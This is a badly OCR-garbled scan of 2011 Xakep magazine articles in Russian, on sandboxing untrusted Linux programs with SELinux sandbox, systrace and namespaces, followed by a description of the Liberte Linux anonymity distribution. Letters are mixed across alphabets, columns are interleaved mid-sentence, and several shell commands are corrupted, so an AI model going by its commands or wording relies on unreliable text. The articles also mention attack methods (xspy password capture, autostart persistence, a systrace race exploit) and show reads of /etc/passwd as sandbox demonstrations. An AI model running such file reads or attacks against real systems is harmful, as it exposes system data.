Совсем скоро писатели троянов и прочей нечисти всерьез возьмутся за пингвина и наберутся знаний, чтобы создать по-настоящему опасные вирусы. Даже уже существующих троянов не так просто отличить от легальных программ, зато их всегда можно поместить в карантин, М ногие даже очень грамотн ые пользовате-ли U N IХ-подобных систем считают свои ОС неуязвимыми к разного рода программной заразе. И одна из главных причин такой уверен ности - традиция уста навл ивать софт через п роверенные , подписа нные сертифика­та ми репозитории , которые по определению не могут содержать зловредных про гра мм. Вторая причина - разделение прав , бла­годаря которому малвари довольно трудно навредить системе или прописаться в автоза­грузку [пользователи Windows любят наделять себя п равами админа, в U N IX это не только не поощряется, но часто и вовсе запрещено] . Можно долго говорить о том , насколько абсур­дна такая уверен ность; о 95% пользователей Ubuntu , которые спокойно уста навл и ва ют л юбой подсунутый им deb-пакет; о до смешно­го п ростом способе п ерехвата пользователь­ского па роля с помощью программ типа xspy; об автозагрузке КОЕ и GNOME , прописаться в которую можно , создав скрипт, состоя щий из

� 088

одной строки . . Но это статья о другом. В конце кон цов, все мы л юди, и никто из нас не за­страхован от ош ибок, к тому же иногда очен ь трудно отказать себе в запуске программы , скачанной из непроверенного источника .

Руки прочь от файлов Оди н из наиболее популярных способов помещения приложения в изол и рован ную среду - это так называемые песочницы , которые в L iпuх представлены системным вызовом chroot, во FreeBSO - технологией jа i l [тюрьма ] , в Solaris - зонами [ил и , говоря языком маркетологов, контейнерами ] . Все это отличные способы изол ировать софтину от основной системы так, чтобы она не смогла ей навредить. Однако у всех трех техноло-гий есть несколько недостатков, которые делают их неудобн ыми для использования на дома шнем компе. Все они требуют создания полной копии существующей системы , на что тратится время, дисковое пространство [что

на сегодняшний день, правда , не та к важно] и нервы. Все технологии относител ьно п росты в испол ьзовании , но требуют чтения доку­ментации и вникания в детал и . Кроме всего прочего, гол ы й chroot са м по себе н и когда не являлся инструментом обеспечения безопас­ности, а потому уязвим для многих типов ата к. П рограмму можно запустить в виртуальной машине, н о эта процедура опятьже п отребует созда ния выделенной машины , скачивания/ созда ния образов, перемещения приложения между реальной и виртуал ьной машиной . В общем , п роблем и возни п редостаточно. Нам же требуется простое средство, с по­мощью которого можно в одну-две команды послать приложениетуда, откуда оно уже не выберется. И здесь мы должны задуматься о том, какую функционал ьность п риложения следует ограничивать. Ведь есл и програ мме зап ретить абсолютно все , ее полезность ока­жется нулевой [более того, мы даже не сможем понять, зловредна ли она вообще].

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 80: Хакер март 2011

Ограничение возможностей демона named с помощью systrace

Чаще всего пользователи беспокоятся за сохра нность своих данных , поэтому многи м ИЗ них становится все равно, какую именно и нформацию троян сможет отослать в и нтернет или к какой бот-сети подключить машину. На первый взгляд кажется , что защитить конфиденци­альные да нные п росто. Для этого можно использовать доп олн ительную учетную запись , выступающую в рол и каранти на : создаем пол ьзователя [который не состоит н и в ка ких системных группах) и за пускаем кома нду от его имени с помощью sudo. Работая с правами этого пользо­вателя , программа не сможет прочитать или модифици ро­вать твои файлы паролей , кл ючей и так далее , не сможет прописаться в а втозагрузку КОЕ или G N O M E. А если уста новить правильные п рава доступа на файлы своего основного пользователя [600, например) , то и содержимое всех обычных файлов окажется в сохран ности. К сожалению, такой « псевдока ранти н» не спасет систему от серьезной заразы, способной использовать локальные уязвимости и а рхитектурные недостатки L inux , поэтому придется ограничивать п рогра мму не только в возмож­ности п росматривать локал ьные файлы пользователей , но и л и шать ее других ресурсов !скажем , сетевого обмена да нными , возможности за пуска других приложений или работы с локальными сервисами ) . Но обо всем по порядку.

Режем все Хорошая, эффективная система изоля ции приложений должна быть построена на многоуровневой основе, кото­рая могла бы предотвратить комп рометацию системы в случае выхода приложения за границу одного из уровней. Та к, например , запустив приложение , подозреваемое в хищении личной и нформа ции , под именем неприви­легирован ного пользователя, мы создадим лишь оди н уровен ь защиты , и , если зловред найдет способ получить п ра ва другого пользователя в системе, то он легко прочтет все его важные данные и отправит их злоум ышленнику любым из доступных с пособов. Н о если мы создадим

ХАКЕР 03 1 1 46/ 20 1 1

второй уровень защиты в виде запрета н а использова ние определенных сетевых п ротоколов или вообще откл ю­чим все сетевые возможности п риложения - кражи не произойдет [если , конечно, п рограмма не сможет обойти и этот зап рет). П роблема только в том, что в ядре Linux нетуниверсального способа огра ничения приложений в доступе к ресурсам . В свое время предприни малось множество попыток созда ния та ких универсальных механизмов и продвиже­ния их в ядро, но в результате пользователи получили не уни версальность, а разброс технологий. Так что сегодня Unux насчитывает ка к ми н и мум четы ре «ка рантинные системы»: 1 . Хостовые системы обнаружения вторжений [H IDS) , та кие как S ELinux и АррАгтог, позволяют очень тонко контро­лировать потребности приложений в ресурсах, но они сл ишком сложны в использова нии рядовыми юзера ми . Это учл и Дэн Уэлш и Эрик Пэрис , создавшие утилиту sand box, которая испол ьзуетуже подготовленные жесткие политики для за пуска приложений в песоч нице. 2, С истемный вызов ptrace позволяет отслежи вать то, какими системными вызовами пол ьзуется приложение , перехватывать ИХ и блоки ровать в случае необходимости. Это наиболее популярный и единственный полностью кроссплатформенный способ огра ничения , испол ьзуемый в та ких утилитах, как plash, sydbox и systгace, н о у него есть ми нус - излишняя медлительность. 3. П ространства имен. Операцион ная система Plan 9 оста­вила свой отпечаток в Linux не только в виде виртуальной файловой системы pгocfs и кодировки UTF-8, но и в виде системного вызова clone[ ) и так называемых п ространств имен . Л юбой п роцесс Li nux , начиная с ядра 2.4 . 1 9 , может создать подпроцесс с совершенно иным представле­нием файловой системы. Если , например , родитель и все остальные процессы видят файловую систему как содержимое раздела /dev/sda 1 , смонтирован ного к корню, плюс /dеv/sdа5, смонти рованного K /home, и pгocfs к /ргос,

� i nfo • Для тестовых запусков приложений, требующих права суперпол ьзователя, можно использовать утилиту fakeгoot, позволяющую создать иллюзию того, что программа запущена пользователем root !становится возможным изменить любой файл системы).

• Qu besOS [gu bes­os .org) - Linux­дистри бути в, полностью построенный на идее изоляции процессов друг от друга с помощью виртуал иза ции.

• Утил иту sand box, основан ную на SELi­nux , легко заставить при монти ро вать выбранные каталоги к каталогам / home/$USER и /tmp. Для этого есть опции ' - Н ' и ' -Т' : « sandbox -Н -/fa kehome -Т -/ fa ketmp vi» .

Page 81: Хакер март 2011

s u d o s a n d b o x U s i n g

> i ' [J t m p fs fo r

t m p fs - с c o p y - o n - w r i t e

u i d = 1 0 0 0 ( j l m ) g i d = 1 0 0 0 ( j l m ) 2Р У 1 1 7 ( v lD o x u s e r s v i d e o ) } 1 0 0 ( u s e r s ) }

Sandbox от Стефана Грабера полностью изолирует приложение от основной системы

то потомок может видеть вместо этого /dev/sda2, смонти рованный к корню, плюс /dev/sda7, смонти рован ный K /rOOt, и пустой каталог /ргос. Причем то, как будет выглядеть файловая система для потомка, пол­ностью оп ределяет родител ь. Механ изм п ространств имен позволяет поместить п роцесс в свой обособленный файловый мирок, который не будет виден всем остальным п роцесса м. В ядрах ветки 2.6 к файловому пространству имен были доба влены п ространства имен процессов, сети и I PC. Так что теперь процесс может видеть не только другую ФС, н о и другой набор системных п роцессов, сетевые и нтерфейсы Ic собс­твенными настройками маршрутизации и файрволаl и очереди IPC . На п ространствах имен основана система LXC и п ростой , н о удобный скрипт, написанный Стефаном Грабером [stgra ber.orgl . 4 . Режим seccomp позволяет полностью запереть приложение в самом себе, так что при попытке использовать л юбой системный вызов, кро­ме exit[ l , а также read[ 1 и write[1 в отношении уже открытых файловых дескри пторов, оно будет уничтожено . Для нас в таком жестком ограни­чен и и нет ничего полезного, н о оно необходи мо для работы некоторых клиентов GRID [ которые представля ют собой небол ьшие п рограммы , получающие данные на вход и посылающие резул ьтат их обработки на BbIxOAI, а также для изоляции плагинов и вкладок в браузере Google Chrome. Кроме способности создавать многоуровневые системы изоля ции , хорошая песочница должна уметь оп ределять, ка кие действия должны быть разрешены приложению поумолчанию. Л юбой школьник пони­мает, что было бы глупо запрещать web-браузеру создавать сетевые соединения и в то же время разреш ить ему вы полнять системный вызов ехес[1 или ч итать файл /etc/passwd, но как объясн ить это п рограмме, реализующей песочницу? Существует четыре возможных варианта : 1. Возложить работу по составлению п рав ил на плечи пол ьзователя , ка к это делают SЕL iпuх и АррАгтог. Это са мый эффекти вный и гибкий вариант, у которого есть всего один серьезный недостаток - слож­ность. Даже матерые сисадм ины сч итают процесс составления п ра вил SЕLiпuх нелегким за нятием , что уж говорить о тех, кто просто решил за пустить браузер в песоч н и це. 2. М ета- правила. Позволить пользователю самому составлять пра­вила, облегчив задачу с помощью упрощения и группировки правил.

4. С и гнализировать пользователю каждый раз, когда приложение пытается задействовать ресурсы ОС. Этот вариант очень похож на тот, который используют м ногие файрволы Windows, вы водя щие окно с воп росом « Разрешить/Запретить» при ин ициал изации нового сете­вого соеди нения . Разум ный вариант, который , тем не менее, требует от пользователя достаточно глубоких знаний в области а рхитектуры операционных систем. Теперь, когда мы разобрал ись с тем , что должна уметь и как функ­ционировать хорошая песочн и ца , посмотрим на то, что нам могут предложить п рогра ммисты. В следующих трех разделах мы изуч им три разные реал изации песоч ницдля приложени й : утилиту sandbox, использующую возможности SELinux для помещения приложений в каранти н ; systrace, опирающи йся на системный вызов ptrace; и прос­той руthоп-скрипт, использующий простра нства имен .

5апdЬох--SЕUпuх с человеческим лицом Sandbox - это утилита, созда нная для облегчения за пуска неп рове­ренных приложений в песочнице S ELinux с максимальным уровнем изоляции . В отличие ОТ « ГОЛОГО» SELinux, утилита не требует какой бы то ни было первоначальной настройки и может быть использована аб­солютно любым пользователем , независимо от его уровня подготовки. Функциональность приложен ия , запущенного под управлением sandbox, оказывается сильно ограниченной . В частности, п рограмма не сможет открыть или создать н и оди н файл; доступ к сетевым функ­циям ОС будет полностью отрезан ; несколько програ мм , запущенных под управлением sand box, не смогут воздействовать друг на друга. В то же время программа сможет подгружать библиотеки , работать с уже открытым и файловыми дескрипторами , п исать в те кущий терминал и получать доступ к времен ному хранили щу да нных , расположенно-му в операти вной памяти . Бла годаря столь жестки м огран ичениям , sand box оказывается почти бесполезным при запуске п ростых кон ­сольных утилит. Все, что можно сделать, это п росто заставить непрове­рен ную команду обработать какие-либоданн ые. Например :

$ cat / e t c /passwd I sandbox c u t - d : - f 1 > / tmp/users

Например , вместо массы разных правил типа « разреш ить открывать Утилита cut , запущенная внутри песоч ницы, сможет получить доступ ТСР-соединения к порту такому-то такого-то хоста» сделать одно бол ь- к ста ндартным входным и выходны м потокам , а потому спокойно шое п равило « разрешить сетевой доступ». Гибкость и безопасность системы снизятся, зато удобство использования резко возрастет. В SЕLiпuх такое возможно. 3. Самообучение . Во время первых нескольких запусков приложения песочн и ца анализирует потребности п рограммы в ресурсах и сама составляет п равила. Это удобно на сервере, администратор которого беспокоится о безопасности своих сетевых сервисов, однако в том случае, когда мы изначально не можем доверять приложению, этот вариант не подходит.

� 090

Начиная еще с версии 2.2, ядро Linux реализует механизм под назва­нием capabilities, позволяющий наделять приложения полномочиями суперпользователя только для выполнения строго определенных функций [например, приложение может выполнять перезагрузку системы, но не способно получитьдоступ кдругим возможностям суперпользователяl.

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 82: Хакер март 2011

> systrace -t I s / Ь i п/ l s , p i d : 26465 ( 0 ) [ 0 ] , po l i cy : / Ь i п/ l s , f i l ters : 0 , sysca l l : l i пuх64-Ьгk ( 1 2 ) , аг g s : 2 1 6

Апswег : perm i t / Ь i п/ l s , p i d : 26465 ( 0 ) [ 0 ] , po l i cy : / Ь i п/ l s , f i l ters : 1 , sysca l l : 1 i пuх64-fsгеаd ( 2 1 ) ,

f i l епаmе : /еtс/ l d . sо . поhwсар Апswег : perm i t / Ь i п/ l s , p i d : 26465 ( 0 ) [ 0 ] , po l i cy : / Ь i п/ l s , f i l ters : 2 , sysca l l : l i пuх64-mmар ( 9 ) , рг ot : PROT_READ I PROT_�R I TE Апswег : perm i t / Ь i п/ l s , p i d : 26465 ( 0 ) [ 0 ] , po l i cy : / Ь i п/ l s , f i l ters : Э , sysca l l : l i пuх64-fstаt ( 5 ) , а rgs : 2 1 6 Апswег : perm i t / Ь i п/ l s , p i d : 26465 ( 0 ) [ 0 ] , po l i cy : / Ь i п/ l s , f i l ters : 4 , sysca l l : l i пuх64-с l 0sе ( Э ) , a ____ �

rgs : 2 1 6 Апswег : perm i t / Ь i п/ l s , p i d : 26465 ( 0 ) [ 0 ] , po l i cy : / Ь i п/ l s , f i l ters : 5 , sysca l l : l i пuх64-геаd ( 0 ) , аг gs : 2 1 6 Апswег : perm i t / Ь i п/ l s , p i d : 26465 ( 0 ) [ 0 ] , p o l i cy : / Ь i п/ l s , f i l ters : 6 , sysca l l : l i пuх64-mргоtесt ( 1 0 ) , prot : PROT_NONE Апswег : I

Отвечать на вопросы systrace - довольно скучное занятие

Ixteгm

"v show sandbox options

То Ье аЫе to staгt gгaphical softwaгe оп youг cuггent kemel. you'lI need network 5Upport, o Netwoгk suppoгt

О Real /home diгectory (jnstead of copy-on-wгite)

О Real ttmp directory (jnstead of copy-on-wгite)

Stoгage type: @ ext4 (disk) О tmpfs (тетогу)

Containeг size (jn Mib): 1492 I�I �bout ] х �ancel ] [ @f �xecute ]

Графический интерфейс утилиты� sandbox, основанной на идее пространств имен

обработает представленные ей данные !содержимое /etc/passwdl и благополучно запи шет их файл /tmp/users благода ря перенаправ­лению выходного потока [оно будет осуществлено уже за пределами песочницыl . Если же мы поп ытаемся открыть файл /etc/passwd, находясь внутри песоч ницы, н ичего не получится :

$ sandbox cut -d : - f l / e t c /passwd > / tmp/users

/bin/ cut : / e t c /passwd : Permis s i on denied

Ка кие-то более серьезные зап росы приложения также будут откло­нены. И это могло бы свести полезность sand box к нулю, если бы он не был основан на SEL inux . Дело в том, что политику жесткого ограниче­ния, применяемую утил итой , можно изменить и при вести к нужному нам виду [пол итика н осит имя sand box_t, и ее можно отредактировать с помощью простой графической утилиты system-conf ig-seli nux , входящей в состав дистрибутива Fedoral. Более того, sапd Ьох можно заставить испол ьзовать совершенно другую политику, п росто указав ее имя в качестве а ргумента опции ' -t ' . Но это уже для тех, кто разбира­ется в SELinux.

Х А К Е Р 03 / 1 46/ 20 1 1

Совсем и наче обстоит дел о с графическими приложе н и я м и , которые sa n d box также умеет впол н е безопасно запускать внутр и песочницы . Для этого предусмотрен фла г ' -Х ' , испол ьзова н и е ко­торого п р и водит К н ескол ьким коренным изменениям в п оведе н и и утилиты. Во-первых , происходит запуск Х-сервера Xephyr, кото-рый работает внутри уже существующей Х-сесси и и испол ьзуется в качестве изолятора за пускаемого в песоч н и це п риложения от корневого Х-сервера. Внутри Xep hyr происходит запуск менеджера окон Match box, который растя ги вает окно п р иложения на весь экран [«экран» только В рамках Xephyr, который сам работает внутри окна корневого X-сервера l . Чтобы п р иложе н и е см огло получить доступ к домашн ему каталогу и каталогу /tmp , но не смогло п роч итать храня­щиеся в них файлы и на вредить, п редп р и н и мается серия за щитных действи й : 1 . В рамках рандомно выбран ного контекста S ELinux создаются два пустых каталога в $HOMED IR и /tmp. 2, Происходит запуск S ЕТUI D-утилиты /usr/sbi n/seu nshare , в качестве а ргументов которой передаются имена созда нных катаЛОГОВ , 1 D кон­текста SELinux и имя запускаемой программы . 3. Утилита seunshare испол ьзует простра нства имен [те самые , о ко­торых МЫ говорили вышеl для монтирова ния пустых каталогов поверх настоящих каталогов $HOMED IR и /tmp . 4, В новом файловом пространстве имен происходит за пуск програм­мы , которая теперь может обра щаться только к виртуал ьному Х-серве­ру и работать с «ненастоящими» каталога м и /home и /tmp. Для запуска графических приложений испол ьзуется несколько иная политика S ELinux: sandbox_file_t, которая открывает возможность работы с файлами дома шнего каталога и каталога /tmp, хотя во всем остальном приложение остается сил ьно ограниченным в функцио­нал ьности. Если же приложение должно получить доступ к сетевым возможностя м , его следует за пускать, указав в качестве политики sandbox_web_t [возможность использовать протокол НТТРI или sandbox_net_t [полный доступ к сетевым возможностя м l :

$ sandbox -Х - t sandbox_web_t f i re fox google . сот

Утилита уже вкл ючена в состав S Eli nux и может быть получена путем установки пакета sel inux- policy версии не н иже 3.6. 1 2 и па кета policycoreut i ls версии не ниже 2 .0 .62 .

� 091

Page 83: Хакер март 2011

SYSTRACE /SYSJAIL SMP EXPLOIT

kernel Р1

user Sysjail

ExploitabIe гасе window between mеmогу copies

Attacker copies in Sysjail replaces I P bindO copies in copies 0.0.0.0;

0.0.0.0 validates with jai l address 0 .0 .0 .0 and uses

into and 1 92. 1 68. 1 00 .20 it to bind socket

mеmогу accept it.

''''''11'' .... ,. .. 11'' ..........

path 0 .0 .0 .0 1 92 . 1 68 . 1 00.20 0 .0 .0 .0

Р2 user

Process waits 500k cycles оп C PU2

Attacker restores original system call argument of 0 .0.0.0 before bindO copyin runs

о том, как ломать ОрепВSD/Net8SD-реализацию sysПасе, Роберт ватсон рассказал еще в 2007 году

Systrace -обучаемая песочница Нес мотря на то . что главным бэкэндом к systrace является реал и ­з а ц и я меха н изма « system call interpos i t ion» , доступ ная в NetBSD и OpenBSD , а также в в иде патча в Li nux , о н вполне нормально работает с рtгасе-бэкэндом ( который хоть и тормоз ит, н о полно­стью кроссплатфор м е н н ы й и не страдает от уязвим осте й! и может п редложить пользователям нескол ько уникальных характеристи к , н едоступ ных в других системах. Главное отл и ч и е systrace от м ножества аналогов ( в том ч и сле sa nd box! заключается в возможности контрол и руемого пользова­тел ем самообуч е н и я , когда утилита напря мую спрашивает юзера о необходи мости зап рета или разреше н и я определенных типов систе м н ых вызовов. Это поз воля ет очень гибко контрол и ровать п роцесс испол н е н и я программы и давать ей только то , что реал ьно нужно. Кроме того , это отл и ч н ы й и н струм ент исследователя , кото­р ы й проще и нагляднее ста ндартн ого strace. В большинстве дистрибутивов Linux systrace нет, но он по умолчанию включен в OpenBSD, а также очень прост в уста новке из исходн и ков :

$ sudo apt -get install bui ld-essent ia1 \

1 ibevent - 1 . 4 - 2 1ibevent-dev

$ wget http : / /www . provos . org/up1oads / systrace-1 . 6g . tar . gz

$ tar -xzf systrace - 1 . 6g . tar . gz

$ . / con f i gure - -pre f ix=/usr! 1oca1 && make

$ sudo make insta11

$ systrace - t l s

Те перь п р и каждой п о п ытке в ы полн ить систе м н ы й вызов подо­п ытная п рогра мма будет оста н овлена , а на экран вы веден вопрос о то м , стоит л и е го запрещать. Ответом может б ыть достаточно сложное условное в ы раже н и е , уч иты вающее а р гументы систе м ­н ого в ы з о в а , но для п ростоты можно и с п ол ьзо вать слова « permit» (разреш ить! и « deny» (зап ретить! . П онятно, что даже самые п ростые програ м м ы в тече н и е ц и кл а сво­е й работы мо гут вы полн ить десятки и сотни систе м н ы х вызовов , и будет очень сложно вручную фильтровать их все . П оэтому в syst race п редусмотрен режим « пол н о го доверия» , когда п рогра мма за пускается с разре ш е н и е м всего и ген е р и рует файл п равил , кото р ы й затем можн о отреда ктировать, зап ретив опасные с и сте м н ы е вызовы - та кие , например , как ехес ( ! . Чтобы за пустить systrace в это м режиме , достато ч н о указать фла г ' -Д ' :

$ systrace -А l s

Файл п ра вил можно найти в каталоге -/.systrace:

$ l s -1 /home / j 1m/ . systrace/

-rw- - - - - - - 1 j 1т j 1т 6 3 1 2 0 1 1 - 0 1 - 0 4 1 2 : 24 bin_1s

Однако надо понимать, что « режим доверия» придуман для того, чтобы За пускать приложения п од управлением systrace п росто. Достаточно защитить програ ммы от возможных атак, и для запуска подозритель-указать имя п рограммы в качестве аргумента : ного кода он не подходит, в этом случае п ридется самостоятельно

запрещать или разрешать системные вызовы по мере выполнения $ systrace l s п рограммы .

По умолчанию утилита п ытается задействовать возможности графи- Пространства имен или sandbox-2 ческой п рогра ммы xsystrace для вывода вопросов на экран. Однако Sand box, написа н н ы й Стефаном Грабером, - это крохотная утилита xsystrace не входит в ста ндартную поставку systrace, поэтому п ридется командной строки, которая испол ьзует п ростра нства имен , чтобы за-при нудител ьно заставить утилиту использовать текстовый режи м : переть подоп ытное п риложение в песочнице. О н а выгодно отличает-

� 092 ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 84: Хакер март 2011

/ b i n / l s J E mu l a t i on : l i nux64-br k : perm i t l i nux64- f s r e a d : t r u e then perm i t l i nux64-mmap : p e r m i t l i nux64-wr i tev : p e r m i t l i nux64-ex i t_group : perm i t 1 i nux64- f s t a t , p e r m i t 1 i nux64- c l ose , p e r m i t l i nux64-read : p e r m i t l i nux64-mpr o t ec t : perm i t l i nux64-arch_prc t l : p e r m i t l i nux64-munmap : p e r m i t l i nux64-s e t t i d a d d r e s s ' p e r m i t l i nux64-s e t robu s t l i s t ' p e r m i t l i nux64- f u tex : p e r m i t l i nux64- r t _ s i gac t i on : perm i t l i nux64- r t _ s i gpr ocmas k : p e r m i t l i nux64- ge tr l i m i t : perm i t l i nux64-s t a t fs : perm i t l i nux64- i oc t l ' perm i t l i nux64- f c n t l ' cmd eq " F GETFD " then perm i t l i nux64-ge tden t s : perm i t l i nux64-wr i t e : perm i t

Автоматически сгенерированный файл правил sysПасе

ся от всех своих аналогов тем , что вместо зап ретов испол ьзует метод ви ртуал изаци и ресурсо в , помещая программу в изол ирован ную среду исполнения , которая не соприкасается с основной системой . Возможно, это не самый безопасный м етод, но он весьма способс­твуетудобству использования утилиты, которое сводится п росто к за пуску подопытной программы без необходи мости делать правки правил в том случае , если п рогра мме потребуется какой-то дополни­тел ьный ресурс. В сущн ости , утил ита выполняет всего пять п ростых действ и й : 1. Создает н о в ы й пустой катал о г lназовем е го $ N EWRO OT] и м о н ­ти рует к н е м у корневой каталог систем ы в режиме copy-on -write Iдля это го и с п ол ьзуется оверлейная файловая с и стема a ufs ] . 2. М онти рует каталог /h ome к $ N EWROOT/home. 3. Создает новое пространство и ме н для всех возможных ресурсов . 4. Подкл ючает procfs к каталогу $N EWROOT/proc . 5. Делает c h root в каталог $ N EWROOT и за пускает п р иложе н и е . В резул ьтате п рогра мма оказывается в довольно и нтересной среде, которая в нешне похожа на среду обы чной систе м ы , но отл ичается от нее тем, что модификация л юбого файла, за искл ючением фай­лов каталога /home Iхотя это настра и ва ется ] , будет видна только самому п р иложению . Другие п роцессы и каналы коммун и ка ц и и I PC не будут видны из песоч н и цы , а знач ит, не смогут быть э ксплуати­рова н ы . П рограмма сможет измен ить сете вые настрой ки песоч н и -

ХАКЕР 0 3 / 1 46/ 2 0 1 1

цы , но эти изменения также не отразятся на основной систе ме . Утилита н е в кл ючена н и в один ди стр ибути в , поэто му ее п р идется получать и ко мпили ровать сам остоятел ьно :

$ sudo apt - get i n s t a l l b z r

$ b z r branch lp : - s t graber / + j unk/ s andbox

$ cd s andbox ; make

$ sudo make instal l

После этого за пуска ем графический и нтерфейс sапd Ьох- g u i , с по­мощью которого можно измен ить н е которые настро йки песоч н и цы Iподдержка сети , подключение реал ьных каталогов /home и /t mp] и за пустить п р иложение . П рограмма требует п рава суперпользова­тел я , поэтому пр идется ввести свой па роль.

ВЫВОДЫ Н есмотря на отсутствие еди н о го ста нда ртного и нтерфейса дл я огра н и ч е н ия п р иложе н и й в возможностях , L i nux обладает всем н еобход и м ы м для безопасного за пуска приложе н и й в ка рантине . О п и с а н н ы е в статье и н струменты - лишь малая ч а сть того , что было созда но за м н огие годы , та к что если тебе не п р и гля нулась н и одна и з с и стем , всегда можно н а йти досто йную альтернати ву.

:::х::

� 093

Page 85: Хакер март 2011

... \ \

Веб-сер инг в шапке-невидимке Liberte Linux: ОС для настоящего анонимуса

в анонимной работе в интернете уже давно заинтересованы не только господа в черных шляпах: нередки случаи, когда обычных

v v

пользователеи привлекали к ответственности всего лишь за нелестныи комментарий или запись в блоге. Спрос рождает предложение, так что сегодня речь пойдет об инструменте достижения анонимности Liberte Linux.

Запили мне Liberte на срлеwку Liberte Li n u x относится к семейству LiveU5B-дистрибутивов , то есть дистрибу­тивов , кото рые живут на флешках и прочих съемных носителях . Это весьма удобно в тех случаях , когда требуется быстро развер нуть среду дл я [анонимной ] работы на посторон­нем ком пьютере , будь то десктоп , ноутбук или н етбук без оптического привода. С реди кл ючевых особе н ностей дистрибутива , отлича ющих его от а налогичных решений , стоит отметить следующие: • повышенная безопасность системы [так ка к в основе - H a rdened Gentoo L inux ] ; • п ростота испол ьзования ; • нетребовательность к системным ресурса м ; • весь сетевой трафик идет через Тог; • возможность общаться с други ми анони­муса ми через скрыты е сервисы Тог [опция

� 094

доступна п олностью в версии 20 1 1 . 1 ] ; • шифрова ние всей пользовател ьской информации . Несмотря на то, что дистрибутив основан на Gentoo, компилировать ядро и софт не потре­буется , а если приспичит собрать из исходни­ков , то этот процесс максимально а втомати­зирован . Образ, который можно записать на флешку или 50-ка рту, уже содержит в себе все нужное для работы . В состав дистрибути­ва входит тол ько л егковесное ПО, основан­ное на GTK; мин имал истичный и б ыстрый ме­неджер окон ОрепЬох ; модульный Х-сервер с TrueType шрифта ми . Поддержива ются все uп iсоdе-локали и раскладки клавиатур, а та к­же имеется поддержка ви ртуальной экран­ной кла виатуры. Все приложения собран ы с испол ьзованием инструментария сборки проекта H a rdened Gentoo, который включает та кие патчи , как 55Р [защита от переполне-

ния стека и буфера] и A5LR [рандомизация расп ределения памяти]. Весь необходи мый для работы софт есть в наличии: • M idori 0 .2 .8 - л егковесн ый браузер , осно­ванный на движке Web Ki t и тул ките GTK; • C laws Ma i l 3 .7 .6 - быстры й и л егкий кл иент электронной почты с графическим и нтерфейсом, полностью поддержи вающий шифрование GnuPG ; • 5akura 2 . 3 . 8 - эмулятор терминала, осно­ван н ы й на VTE ; • Audacious 2 .4 .0 - аудиопроигрыватель с поддержкой всех распростра ненных форма­тов [тр3, 099, flac, аре] ; • G N O M E Mp layer O.9.9.2 - ста ндартный для окружения GNOME п роигрыватель видеофай­лов, фронтэнд для m player на GTK; • PCManFM 0 .9 .7 - файловый менеджер с графическим интерфейсом [ M idn i9h t Соmmапdегта кже в твоем распоряжении ] ;

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 86: Хакер март 2011

Re�sn Ili https:J/check.torproject,org/ "'H . � IW Wilфedi.

SidepaM! I iI C!o5ed Titbl

'" Congratulations. You a re using Tor. j\'�

Если тебя занесет в страны, выделенные чер- Please ге[ег 'о the � [ог . 1=i.iiii�iii':==iiiiii:i==_.liIIIiIlliiiiiilliiiiii:iiii[ii;iiiiii�iiiii�iiШl ным - не забудь прихватить с собой флешку с Uberte Unux: в них интернет-цензура наибо­лее жесткая

• Еvi псе 2.30.3 - п росмотрщик документов pdf [с подде- �-' а' ржкой DjVul ; Строгие правила брандмауэра в действии • Abiword 2 .8 .6 , Gnu meric 1 . 1 0 . 6 - офисные п риложения с поддержкой форматов М icrosoft Word и Excel. Для уста н овки дистри бутива нам потребуется архив с образом и установоч н ы м и скрипта м и [м ожно скачать с официального са йта dee .su/li berte , л и бо взять на п р и ­л а гаемом к журналу диске l , а также фл ешка ем костью не менее 256 Мб . Дистри бутив н етребо вател ен не тол ько к свободному месту, но и к другим аппаратн ым частя м . Заявляется, что он будет работать н а ком п ах с оп ератив­ной па мятью 1 28 М б и процессорами вплоть до Репt ium Рго.

Рассмотрим установку из Linux: 1 . Созда ем точку монтирования для флешки : mkdir /

med i a / usbs t i e k .

2. Монти руем фл ешку: mount / dev / sdbl /med i a /

usbst i e k .

З. Распаковываем архив в корневую директорию флешки : unz ip l ibert e - 2 0 1 0 . 1 . z ip - d /media/usbs t i e k .

4 . Коп и руем установочный скрипт на локальный диск : ер / media /usbs t i ek / l ibert e / setup . sh / tmp/

s e t up . sh .

5. Делаем е го исполняемым : ehmod +х / tmp / s etup .

s h .

6 . Раз монтируем флешку: umount / dev / sdbl .

7. За пускаем скриптустановки : / tmp / s etup . sh

Также для уста новки понадобится утилита sysli nux версии 4 .02 , которая в большинстве случаев уста навливается через штатн ый менеджер па кетов твоего дистрибутива. Я испол ьзую Arch Linux, где на момент написания статьи была доступна sysl inux 4.03 - из-за этого при шлось не­много отредактировать первые строчки в скрипте :

$ head -n5 setup . sh

# ! /bin/ sh - е

# Установленная версия sysl inux

sysver=4 . 0 3

# Путь к rnbr . bin ( можно узнать командой «f ind /

-пате rnbr . bin» )

sysrnbr= /usr/ l ib/sysl inux/rnbr . bin

Уста новка из Windows более прозаична , нужно л и ш ь распа ковать содержимое архива на фле ш ку и запустить скрипт setup.bat с правами администратора . Та к как утилита sysl inux идет внутри архива, то ни чего допол н и ­тел ь н о уста навл и вать не нужно.

Itls easy to use! Теперь, указав в B IOS ' е пр иор итетную за грузку со съем­ных носителей , можно увидеть окно за грузчика Li berte ,

Х А К Е Р 03 / 1 46/ 20 1 1

где требуется выбрать оди н и з двух режи мов за грузки ­графический или консол ьный . Графический испол ьзует­ся в большинстве случаев , а консольный полезен тем, что через него можно получить рутовый доступ, переключив­шись на второй ви ртуальный терми нал [Alt+F2] . П ра вда, следует учесть, что после двух м и нут бездействия рутовая консол ь делает автоло гаут. Та м же можно разблоки ровать учетную запись рута командой « usermod -u root» и изме­н ить парол ь по умолчанию с помощью утилиты passwd . Воспол ьзова вшись sudo , мы огра н и ч и м свои действия всего л и ш ь несколькими команда м и , поэтому за пуск под рутом иногда может быть впол н е оправда н . Li berte L i nux н е только дает возможность анон имно-го доступа к С ети , но и хранит все пол ьзо вател ьские да н н ы е в ви ртуальном заш ифрованном разделе OTFE с применением сто йкого алгоритма ш ифрова н и я AES-256 в режиме XTS . Этот раздел в в иде файла на ходится на фл е ш ке и и м еет динам ический размер, кото рый можно изме нять кома ндой otfe-resize . Настройки параметров зашифрова н н о го раздела могут гибко изменяться под нужды пол ьзователя с помощью ко нфига , п редставлен­ного ниже .

$ cat / etc / conf . d / liberte

# Параметры зашифрованного хранилища

OTFEFILE= /ot f e / 1 iberte . vol

OTFELABEL= " Liberte OTF E "

# Размер хранилища , указывается к а к часть от

общего свободного места на носителе ( А/В )

OTFESIZE= 1 / 4
